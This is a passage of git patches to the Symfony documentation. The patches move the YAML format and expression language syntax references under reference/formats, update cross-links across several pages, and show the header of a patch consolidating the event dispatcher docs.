-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
-
-Finally, there are other cases when the strings must be quoted, no matter if
-you're using single or double quotes:
-
-* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
-  boolean value);
-* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
-  ``null`` value);
-* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
-  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
-  (otherwise, it would be treated as a numeric value);
-* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
-  automatically converted into a Unix timestamp).
-
-When a string contains line breaks, you can use the literal style, indicated
-by the pipe (``|``), to indicate that the string will span several lines. In
-literals, newlines are preserved:
-
-.. code-block:: yaml
-
-    |
-      \/ /| |\/| |
-      / / | |  | |__
-
-Alternatively, strings can be written with the folded style, denoted by ``>``,
-where each line break is replaced by a space:
-
-.. code-block:: yaml
-
-    >
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (notice the trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML.\n"
-
-    >-
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (without a trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML."
-
-.. note::
-
-    Notice the two spaces before each line in the previous examples. They
-    won't appear in the resulting PHP strings.
-
-Numbers
-.......
-
-.. code-block:: yaml
-
-    # an integer
-    12
-
-.. code-block:: yaml
-
-    # an octal
-    0o14
-
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
-.. code-block:: yaml
-
-    # an hexadecimal
-    0xC
-
-.. code-block:: yaml
-
-    # a float
-    13.4
-
-.. code-block:: yaml
-
-    # an exponential number
-    1.2e+34
-
-.. code-block:: yaml
-
-    # infinity
-    .inf
-
-Nulls
-.....
-
-Nulls in YAML can be expressed with ``null`` or ``~``.
-
-Booleans
-........
-
-Booleans in YAML are expressed with ``true`` and ``false``.
-
-Dates
-.....
-
-YAML uses the `ISO-8601`_ standard to express dates:
-
-.. code-block:: yaml
-
-    2001-12-14T21:59:43.10-05:00
-
-.. code-block:: yaml
-
-    # simple date
-    2002-12-14
-
-.. _yaml-format-collections:
-
-Collections
-~~~~~~~~~~~
-
-A YAML file is rarely used to describe a simple scalar. Most of the time, it
-describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
-or a mapping of elements (associative arrays in PHP).
-
-Sequences use a dash followed by a space:
-
-.. code-block:: yaml
-
-    - PHP
-    - Perl
-    - Python
-
-The previous YAML file is equivalent to the following PHP code::
-
-    ['PHP', 'Perl', 'Python'];
-
-Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
-
-.. code-block:: yaml
-
-    PHP: 5.2
-    MySQL: 5.1
-    Apache: 2.2.20
-
-which is equivalent to this PHP code::
-
-    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
-
-.. note::
-
-    In a mapping, a key can be any valid scalar.
-
-The number of spaces between the colon and the value does not matter:
-
-.. code-block:: yaml
-
-    PHP:    5.2
-    MySQL:  5.1
-    Apache: 2.2.20
-
-YAML uses indentation with one or more spaces to describe nested collections:
-
-.. code-block:: yaml
-
-    'symfony 1.0':
-      PHP:    5.0
-      Propel: 1.2
-    'symfony 1.2':
-      PHP:    5.2
-      Propel: 1.3
-
-The above YAML is equivalent to the following PHP code::
-
-    [
-        'symfony 1.0' => [
-            'PHP'    => 5.0,
-            'Propel' => 1.2,
-        ],
-        'symfony 1.2' => [
-            'PHP'    => 5.2,
-            'Propel' => 1.3,
-        ],
-    ];
-
-There is one important thing you need to remember when using indentation in a
-YAML file: *Indentation must be done with one or more spaces, but never with
-tabulators*.
-
-You can nest sequences and mappings as you like:
-
-.. code-block:: yaml
-
-    'Chapter 1':
-      - Introduction
-      - Event Types
-    'Chapter 2':
-      - Introduction
-      - Helpers
-
-YAML can also use flow styles for collections, using explicit indicators
-rather than indentation to denote scope.
-
-A sequence can be written as a comma separated list within square brackets
-(``[]``):
-
-.. code-block:: yaml
-
-    [PHP, Perl, Python]
-
-A mapping can be written as a comma separated list of key/values within curly
-braces (``{}``):
-
-.. code-block:: yaml
-
-    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
-
-You can mix and match styles to achieve a better readability:
-
-.. code-block:: yaml
-
-    'Chapter 1': [Introduction, Event Types]
-    'Chapter 2': [Introduction, Helpers]
-
-.. code-block:: yaml
-
-    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
-    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
-
-Comments
-~~~~~~~~
-
-Comments can be added in YAML by prefixing them with a hash mark (``#``):
-
-.. code-block:: yaml
-
-    # Comment on a line
-    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
-    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
-
-.. note::
-
-    Comments are ignored by the YAML parser and do not need to be indented
-    according to the current level of nesting in a collection.
-
-Explicit Typing
-~~~~~~~~~~~~~~~
-
-The YAML specification defines some tags to set the type of any data explicitly:
-
-.. code-block:: yaml
-
-    data:
-        # this value is parsed as a string (it's not transformed into a DateTime)
-        start_date: !!str 2002-12-14
-
-        # this value is parsed as a float number (it will be 3.0 instead of 3)
-        price: !!float 3
-
-        # this value is parsed as binary data encoded in base64
-        picture: !!binary |
-            R0lGODlhDAAMAIQAAP//9/X
-            17unp5WZmZgAAAOfn515eXv
-            Pz7Y6OjuDg4J+fn5OTk6enp
-            56enmleECcgggoBADs=
-
-Unsupported YAML Features
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The following YAML features are not supported by the Symfony Yaml component:
-
-* Multi-documents (``---`` and ``...`` markers);
-* Complex mapping keys and complex values starting with ``?``;
-* Tagged values as keys;
-* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
-  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
-* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
-  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
-* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
-  ``{foo: ~, bar: ~}`` instead).
-
 .. _`YAML`: https://yaml.org/
-.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
diff --git a/configuration.rst b/configuration.rst
index e447d21c772..cd2a920f05b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -100,7 +100,7 @@ YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
+  and validation for it. :doc:`Learn the YAML syntax </reference/formats/yaml>`;
 * **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration with
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 9af9b3ff0ea..f9e47cf7fd9 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -140,7 +140,7 @@ One way to accomplish this is with the Expression constraint:
 
 The :ref:`expression <reference-constraint-expression-option>` option is the
 expression that must return true in order for validation to pass. Learn more
-about the :ref:`expression language syntax <expression-language-syntax>`.
+about the :doc:`expression language syntax </reference/formats/expression_language>`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -262,7 +262,7 @@ Options
 
 The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail. Learn more about the
-:ref:`expression language syntax <expression-language-syntax>`.
+:doc:`expression language syntax </reference/formats/expression_language>`.
 
 Depending on how you use the constraint, you have access to different variables
 in your expression:
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
new file mode 100644
index 00000000000..097d9d905cd
--- /dev/null
+++ b/reference/formats/expression_language.rst
@@ -0,0 +1,320 @@
+.. index::
+    single: Syntax; ExpressionLanguage
+
+The Expression Syntax
+=====================
+
+The ExpressionLanguage component uses a specific syntax which is based on the
+expression syntax of Twig. In this document, you can find all supported
+syntaxes.
+
+Supported Literals
+------------------
+
+The component supports:
+
+* **strings** - single and double quotes (e.g. ``'hello'``)
+* **numbers** - e.g. ``103``
+* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
+* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
+* **booleans** - ``true`` and ``false``
+* **null** - ``null``
+* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+
+.. caution::
+
+    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
+    and 8 backslashes (``\\\\\\\\``) in a regex::
+
+        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
+        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
+
+    Control characters (e.g. ``\n``) in expressions are replaced with
+    whitespace. To avoid this, escape the sequence with a single backslash
+    (e.g.  ``\\n``).
+
+.. _component-expression-objects:
+
+Working with Objects
+--------------------
+
+When passing objects into an expression, you can use different syntaxes to
+access properties and call methods on the object.
+
+Accessing Public Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Public properties on objects can be accessed by using the ``.`` syntax, similar
+to JavaScript::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit.variety',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``Honeycrisp``.
+
+Calling Methods
+~~~~~~~~~~~~~~~
+
+The ``.`` syntax can also be used to call methods on an object, similar to
+JavaScript::
+
+    class Robot
+    {
+        public function sayHi($times)
+        {
+            $greetings = [];
+            for ($i = 0; $i < $times; $i++) {
+                $greetings[] = 'Hi';
+            }
+
+            return implode(' ', $greetings).'!';
+        }
+    }
+
+    $robot = new Robot();
+
+    var_dump($expressionLanguage->evaluate(
+        'robot.sayHi(3)',
+        [
+            'robot' => $robot,
+        ]
+    ));
+
+This will print out ``Hi Hi Hi!``.
+
+.. _component-expression-functions:
+
+Working with Functions
+----------------------
+
+You can also use registered functions in the expression by using the same
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
+function by default: ``constant()``, which will return the value of the PHP
+constant::
+
+    define('DB_USER', 'root');
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("DB_USER")'
+    ));
+
+This will print out ``root``.
+
+.. tip::
+
+    To read how to register your own functions to use in an expression, see
+    ":ref:`expression-language-extending`".
+
+.. _component-expression-arrays:
+
+Working with Arrays
+-------------------
+
+If you pass an array into an expression, use the ``[]`` syntax to access
+array keys, similar to JavaScript::
+
+    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
+
+    var_dump($expressionLanguage->evaluate(
+        'data["life"] + data["universe"] + data["everything"]',
+        [
+            'data' => $data,
+        ]
+    ));
+
+This will print out ``42``.
+
+Supported Operators
+-------------------
+
+The component comes with a lot of operators:
+
+Arithmetic Operators
+~~~~~~~~~~~~~~~~~~~~
+
+* ``+`` (addition)
+* ``-`` (subtraction)
+* ``*`` (multiplication)
+* ``/`` (division)
+* ``%`` (modulus)
+* ``**`` (pow)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'life + universe + everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    ));
+
+This will print out ``42``.
+
+Bitwise Operators
+~~~~~~~~~~~~~~~~~
+
+* ``&`` (and)
+* ``|`` (or)
+* ``^`` (xor)
+
+Comparison Operators
+~~~~~~~~~~~~~~~~~~~~
+
+* ``==`` (equal)
+* ``===`` (identical)
+* ``!=`` (not equal)
+* ``!==`` (not identical)
+* ``<`` (less than)
+* ``>`` (greater than)
+* ``<=`` (less than or equal to)
+* ``>=`` (greater than or equal to)
+* ``matches`` (regex match)
+
+.. tip::
+
+    To test if a string does *not* match a regex, use the logical ``not``
+    operator in combination with the ``matches`` operator::
+
+        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
+
+    You must use parentheses because the unary operator ``not`` has precedence
+    over the binary operator ``matches``.
+
+Examples::
+
+    $ret1 = $expressionLanguage->evaluate(
+        'life == everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+    $ret2 = $expressionLanguage->evaluate(
+        'life > everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+Both variables would be set to ``false``.
+
+Logical Operators
+~~~~~~~~~~~~~~~~~
+
+* ``not`` or ``!``
+* ``and`` or ``&&``
+* ``or`` or ``||``
+
+For example::
+
+    $ret = $expressionLanguage->evaluate(
+        'life < universe or life < everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    );
+
+This ``$ret`` variable will be set to ``true``.
+
+String Operators
+~~~~~~~~~~~~~~~~
+
+* ``~`` (concatenation)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'firstName~" "~lastName',
+        [
+            'firstName' => 'Arthur',
+            'lastName' => 'Dent',
+        ]
+    ));
+
+This would print out ``Arthur Dent``.
+
+Array Operators
+~~~~~~~~~~~~~~~
+
+* ``in`` (contain)
+* ``not in`` (does not contain)
+
+For example::
+
+    class User
+    {
+        public $group;
+    }
+
+    $user = new User();
+    $user->group = 'human_resources';
+
+    $inGroup = $expressionLanguage->evaluate(
+        'user.group in ["human_resources", "marketing"]',
+        [
+            'user' => $user,
+        ]
+    );
+
+The ``$inGroup`` would evaluate to ``true``.
+
+Numeric Operators
+~~~~~~~~~~~~~~~~~
+
+* ``..`` (range)
+
+For example::
+
+    class User
+    {
+        public $age;
+    }
+
+    $user = new User();
+    $user->age = 34;
+
+    $expressionLanguage->evaluate(
+        'user.age in 18..45',
+        [
+            'user' => $user,
+        ]
+    );
+
+This will evaluate to ``true``, because ``user.age`` is in the range from
+``18`` to ``45``.
+
+Ternary Operators
+~~~~~~~~~~~~~~~~~
+
+* ``foo ? 'yes' : 'no'``
+* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
+* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
+
+Built-in Objects and Variables
+------------------------------
+
+When using this component inside a Symfony application, certain objects and
+variables are automatically injected by Symfony so you can use them in your
+expressions (e.g. the request, the current user, etc.):
+
+* :doc:`Variables available in security expressions </security/expressions>`;
+* :doc:`Variables available in service container expressions </service_container/expression_language>`;
+* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
diff --git a/translation/message_format.rst b/reference/formats/message_format.rst
similarity index 100%
rename from translation/message_format.rst
rename to reference/formats/message_format.rst
diff --git a/translation/xliff.rst b/reference/formats/xliff.rst
similarity index 100%
rename from translation/xliff.rst
rename to reference/formats/xliff.rst
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
new file mode 100644
index 00000000000..cc426fa3f1c
--- /dev/null
+++ b/reference/formats/yaml.rst
@@ -0,0 +1,340 @@
+.. index::
+    single: Yaml; YAML Format
+
+The YAML Format
+---------------
+
+The Symfony Yaml Component implements a selected subset of features defined in
+the `YAML 1.2 version specification`_.
+
+Scalars
+~~~~~~~
+
+The syntax for scalars is similar to the PHP syntax.
+
+Strings
+.......
+
+Strings in YAML can be wrapped both in single and double quotes. In some cases,
+they can also be unquoted:
+
+.. code-block:: yaml
+
+    A string in YAML
+
+    'A single-quoted string in YAML'
+
+    "A double-quoted string in YAML"
+
+Quoted styles are useful when a string starts or end with one or more relevant
+spaces, because unquoted strings are trimmed on both end when parsing their
+contents. Quotes are required when the string contains special or reserved characters.
+
+When using single-quoted strings, any single quote ``'`` inside its contents
+must be doubled to escape it:
+
+.. code-block:: yaml
+
+    'A single quote '' inside a single-quoted string'
+
+Strings containing any of the following characters must be quoted. Although you
+can use double quotes, for these characters it is more convenient to use single
+quotes, which avoids having to escape any backslash ``\``:
+
+* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
+  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+
+The double-quoted style provides a way to express arbitrary strings, by
+using ``\`` to escape characters and sequences. For instance, it is very useful
+when you need to embed a ``\n`` or a Unicode character in a string.
+
+.. code-block:: yaml
+
+    "A double-quoted string in YAML\n"
+
+If the string contains any of the following control characters, it must be
+escaped with double quotes:
+
+* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+  ``\_``, ``\L``, ``\P``
+
+Finally, there are other cases when the strings must be quoted, no matter if
+you're using single or double quotes:
+
+* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
+  boolean value);
+* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
+  ``null`` value);
+* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
+  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
+  (otherwise, it would be treated as a numeric value);
+* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
+  automatically converted into a Unix timestamp).
+
+When a string contains line breaks, you can use the literal style, indicated
+by the pipe (``|``), to indicate that the string will span several lines. In
+literals, newlines are preserved:
+
+.. code-block:: yaml
+
+    |
+      \/ /| |\/| |
+      / / | |  | |__
+
+Alternatively, strings can be written with the folded style, denoted by ``>``,
+where each line break is replaced by a space:
+
+.. code-block:: yaml
+
+    >
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (notice the trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML.\n"
+
+    >-
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (without a trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML."
+
+.. note::
+
+    Notice the two spaces before each line in the previous examples. They
+    won't appear in the resulting PHP strings.
+
+Numbers
+.......
+
+.. code-block:: yaml
+
+    # an integer
+    12
+
+.. code-block:: yaml
+
+    # an octal
+    0o14
+
+.. deprecated:: 5.1
+
+    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
+    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
+    notation and deprecated support for YAML 1.1 notation.
+
+.. code-block:: yaml
+
+    # an hexadecimal
+    0xC
+
+.. code-block:: yaml
+
+    # a float
+    13.4
+
+.. code-block:: yaml
+
+    # an exponential number
+    1.2e+34
+
+.. code-block:: yaml
+
+    # infinity
+    .inf
+
+Nulls
+.....
+
+Nulls in YAML can be expressed with ``null`` or ``~``.
+
+Booleans
+........
+
+Booleans in YAML are expressed with ``true`` and ``false``.
+
+Dates
+.....
+
+YAML uses the `ISO-8601`_ standard to express dates:
+
+.. code-block:: yaml
+
+    2001-12-14T21:59:43.10-05:00
+
+.. code-block:: yaml
+
+    # simple date
+    2002-12-14
+
+.. _yaml-format-collections:
+
+Collections
+~~~~~~~~~~~
+
+A YAML file is rarely used to describe a simple scalar. Most of the time, it
+describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
+or a mapping of elements (associative arrays in PHP).
+
+Sequences use a dash followed by a space:
+
+.. code-block:: yaml
+
+    - PHP
+    - Perl
+    - Python
+
+The previous YAML file is equivalent to the following PHP code::
+
+    ['PHP', 'Perl', 'Python'];
+
+Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
+
+.. code-block:: yaml
+
+    PHP: 5.2
+    MySQL: 5.1
+    Apache: 2.2.20
+
+which is equivalent to this PHP code::
+
+    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
+
+.. note::
+
+    In a mapping, a key can be any valid scalar.
+
+The number of spaces between the colon and the value does not matter:
+
+.. code-block:: yaml
+
+    PHP:    5.2
+    MySQL:  5.1
+    Apache: 2.2.20
+
+YAML uses indentation with one or more spaces to describe nested collections:
+
+.. code-block:: yaml
+
+    'symfony 1.0':
+      PHP:    5.0
+      Propel: 1.2
+    'symfony 1.2':
+      PHP:    5.2
+      Propel: 1.3
+
+The above YAML is equivalent to the following PHP code::
+
+    [
+        'symfony 1.0' => [
+            'PHP'    => 5.0,
+            'Propel' => 1.2,
+        ],
+        'symfony 1.2' => [
+            'PHP'    => 5.2,
+            'Propel' => 1.3,
+        ],
+    ];
+
+There is one important thing you need to remember when using indentation in a
+YAML file: *Indentation must be done with one or more spaces, but never with
+tabulators*.
+
+You can nest sequences and mappings as you like:
+
+.. code-block:: yaml
+
+    'Chapter 1':
+      - Introduction
+      - Event Types
+    'Chapter 2':
+      - Introduction
+      - Helpers
+
+YAML can also use flow styles for collections, using explicit indicators
+rather than indentation to denote scope.
+
+A sequence can be written as a comma separated list within square brackets
+(``[]``):
+
+.. code-block:: yaml
+
+    [PHP, Perl, Python]
+
+A mapping can be written as a comma separated list of key/values within curly
+braces (``{}``):
+
+.. code-block:: yaml
+
+    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
+
+You can mix and match styles to achieve a better readability:
+
+.. code-block:: yaml
+
+    'Chapter 1': [Introduction, Event Types]
+    'Chapter 2': [Introduction, Helpers]
+
+.. code-block:: yaml
+
+    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
+    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
+
+Comments
+~~~~~~~~
+
+Comments can be added in YAML by prefixing them with a hash mark (``#``):
+
+.. code-block:: yaml
+
+    # Comment on a line
+    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
+    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
+
+.. note::
+
+    Comments are ignored by the YAML parser and do not need to be indented
+    according to the current level of nesting in a collection.
+
+Explicit Typing
+~~~~~~~~~~~~~~~
+
+The YAML specification defines some tags to set the type of any data explicitly:
+
+.. code-block:: yaml
+
+    data:
+        # this value is parsed as a string (it's not transformed into a DateTime)
+        start_date: !!str 2002-12-14
+
+        # this value is parsed as a float number (it will be 3.0 instead of 3)
+        price: !!float 3
+
+        # this value is parsed as binary data encoded in base64
+        picture: !!binary |
+            R0lGODlhDAAMAIQAAP//9/X
+            17unp5WZmZgAAAOfn515eXv
+            Pz7Y6OjuDg4J+fn5OTk6enp
+            56enmleECcgggoBADs=
+
+Unsupported YAML Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The following YAML features are not supported by the Symfony Yaml component:
+
+* Multi-documents (``---`` and ``...`` markers);
+* Complex mapping keys and complex values starting with ``?``;
+* Tagged values as keys;
+* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
+  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
+* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
+  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
+* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
+  ``{foo: ~, bar: ~}`` instead).
+
+.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
+.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index aa92cebc144..2be47a8a0b0 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -1,30 +1,39 @@
-* **Configuration Options**
-
-  Ever wondered what configuration options you have available to you in
-  ``config/packages/*.yaml`` files? In this section, all the available
-  configuration is broken down by the key (e.g. ``framework``) that defines
-  each possible section of your Symfony configuration.
-
-  * :doc:`framework </reference/configuration/framework>`
-  * :doc:`doctrine </reference/configuration/doctrine>`
-  * :doc:`security </reference/configuration/security>`
-  * :doc:`swiftmailer </reference/configuration/swiftmailer>`
-  * :doc:`twig </reference/configuration/twig>`
-  * :doc:`monolog </reference/configuration/monolog>`
-  * :doc:`web_profiler </reference/configuration/web_profiler>`
-  * :doc:`debug </reference/configuration/debug>`
+Configuration Options
+---------------------
 
-* :doc:`Configuring the Kernel </reference/configuration/kernel>`
+Ever wondered what configuration options you have available to you in
+``config/packages/*.yaml`` files? In this section, all the available
+configuration is broken down by the key (e.g. ``framework``) that defines
+each possible section of your Symfony configuration.
 
-* **Forms and Validation**
+* :doc:`framework </reference/configuration/framework>`
+* :doc:`doctrine </reference/configuration/doctrine>`
+* :doc:`security </reference/configuration/security>`
+* :doc:`swiftmailer </reference/configuration/swiftmailer>`
+* :doc:`twig </reference/configuration/twig>`
+* :doc:`monolog </reference/configuration/monolog>`
+* :doc:`web_profiler </reference/configuration/web_profiler>`
+* :doc:`debug </reference/configuration/debug>`
 
-  * :doc:`Form Field Type Reference </reference/forms/types>`
-  * :doc:`Validation Constraints Reference </reference/constraints>`
-  * :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>`
+Forms and Validation
+--------------------
 
-* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
+* :doc:`Form Field Type Reference </reference/forms/types>`
+* :doc:`Validation Constraints Reference </reference/constraints>`
+* :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>`
+
+Format Specifications
+---------------------
 
-* **Other Areas**
+* :doc:`YAML </reference/formats/yaml>`
+* :doc:`XLIFF </reference/formats/xliff>`
+* :doc:`ICU MessageFormat </reference/formats/message_format>`
+* :doc:`Expression Language </reference/formats/expression_language>`
 
-  * :doc:`/reference/dic_tags`
-  * :doc:`/reference/events`
+Others
+------
+
+* :doc:`Configuring the Kernel </reference/configuration/kernel>`
+* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
+* :doc:`/reference/dic_tags`
+* :doc:`/reference/events`
diff --git a/routing.rst b/routing.rst
index cd3ec6d2c76..08a561020ab 100644
--- a/routing.rst
+++ b/routing.rst
@@ -415,8 +415,8 @@ arbitrary matching logic:
         };
 
 The value of the ``condition`` option is an expression using any valid
-:ref:`expression language syntax <expression-language-syntax>` and can use any
-of these variables created by Symfony:
+:doc:`expression language syntax </reference/formats/expression_language>` and
+can use any of these variables created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index 93827fc756b..654ea147d44 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -38,7 +38,7 @@ that method is invented for this example).
 
 .. _security-expression-variables:
 
-The security expression must use any valid :ref:`expression language syntax <expression-language-syntax>`
+The security expression must use any valid :doc:`expression language syntax </reference/formats/expression_language>`
 and can use any of these variables created by Symfony:
 
 ``user``
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 53b1524b762..9887cefb443 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-Learn more about the :ref:`expression language syntax <expression-language-syntax>`.
+Learn more about the :doc:`expression language syntax </reference/formats/expression_language>`.
 
 In this context, you have access to 2 functions:
 
diff --git a/translation.rst b/translation.rst
index b11136dffb6..02bc572bd7a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -295,7 +295,7 @@ plural, based on some variable:
 
 To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
-:doc:`/translation/message_format`.
+:doc:`/reference/formats/message_format`.
 
 .. tip::
 

From ec321366ec834f9c5b444490e67fae453f0ecf31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 16:34:58 +0100
Subject: [PATCH 2839/5766] Fix some references

---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index aebd66a6a7c..7288c4d217c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1326,8 +1326,8 @@ Learn more
 .. toctree::
     :maxdepth: 1
 
-    translation/message_format
-    translation/xliff
+    reference/formats/message_format
+    reference/formats/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/

From 549132777158dcefa56e8f517e97d753e4c02594 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 13:40:47 +0100
Subject: [PATCH 2840/5766] [EventDispatcher] Consolidation event dispatcher
 docs

---
 _build/redirection_map                    |   4 +-
 components/event_dispatcher.rst           |   1 -
 event_dispatcher.rst                      | 380 +++++++++++++++++++++-
 event_dispatcher/before_after_filters.rst | 237 --------------
 event_dispatcher/method_behavior.rst      | 143 --------
 5 files changed, 377 insertions(+), 388 deletions(-)
 delete mode 100644 event_dispatcher/before_after_filters.rst
 delete mode 100644 event_dispatcher/method_behavior.rst

